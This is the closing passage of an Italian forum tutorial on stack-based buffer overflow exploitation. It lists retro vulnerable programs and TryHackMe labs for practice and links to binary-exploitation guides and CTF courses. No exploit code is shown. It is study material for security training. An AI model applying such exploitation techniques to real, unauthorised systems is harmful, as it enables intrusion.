Questa è la logica di base riguardo i fondamenti dell'exploitation di vulnerabilità Stack-based Buffer Overflow. Ovviamente i programmi moderni non girano più su 32 bit, bensì su 64, e i compilatori implementano, ove possibile, numerose tecniche di mitigazione e protezione (che vedremo prossimamente). Inoltre tenete presente che la binary exploitation in ambiente Linux potrebbe leggermente differire da ciò che abbiamo visto oggi su Windows.
3.1 Extra-miles: Programmi vulnerabili con cui esercitarsi
Se voleste esercitarvi con altri binari "retrò" vulnerabili a Stack-based Buffer Overflow, date un occhiata ai seguenti programmi:- CloudMe 1.11.2
- SLMail 5.5
- The brainpan binary (THM lab)
- The dostackbufferoverflowgood binary (THM lab)
- The vulnserver binary (THM lab)
- Some custom written "oscp" binary which contains 10 buffer overflows, each with a different EIP offset and set of badchars (THM lab)
- SyncBreeze 10.0.28
- Easy RM to MP3 converter
3.2 Ulteriori risorse e approfondimenti
Pentest-Cheatsheets/exploits/buffer-overflows.rst at master · Tib3rius/Pentest-Cheatsheets
Contribute to Tib3rius/Pentest-Cheatsheets development by creating an account on GitHub.
github.com
Memoria Virtuale: x64 Virtual Address Translation
Scopo dell'articolo è illustrare come avviene la traduzione di un indirizzo virtuale in uno fisico in x64; per aiutarci e rendere il tutto meno teorico, ho pensato di utilizzare un kernel debugger (WinDbg) collegato ad una VM con Window 10 x64 tramite la rete, così da vedere anche da un punto di...
www.inforge.net
Buffer Overflow base su sistemi x64
Iniziando ad approcciarmi al mondo della programmazione di exploit, mi sono messo a studiare su un vecchio libro, molto valido, ma pur sempre vecchio: "Hacking: the art of exploitation" Il libro è ben spiegato, pieno di esempi e modelli di codice, ma che ora come ora non sono più validi (o per...
www.inforge.net
Binary Exploitation Notes | Binary Exploitation
ir0nstone.gitbook.io
Nightmare - Nightmare
Nightmare: an intro to binary exploitation / reverse engineering course based around CTF challenges.
guyinatuxedo.github.io
Made with ❤ for Inforge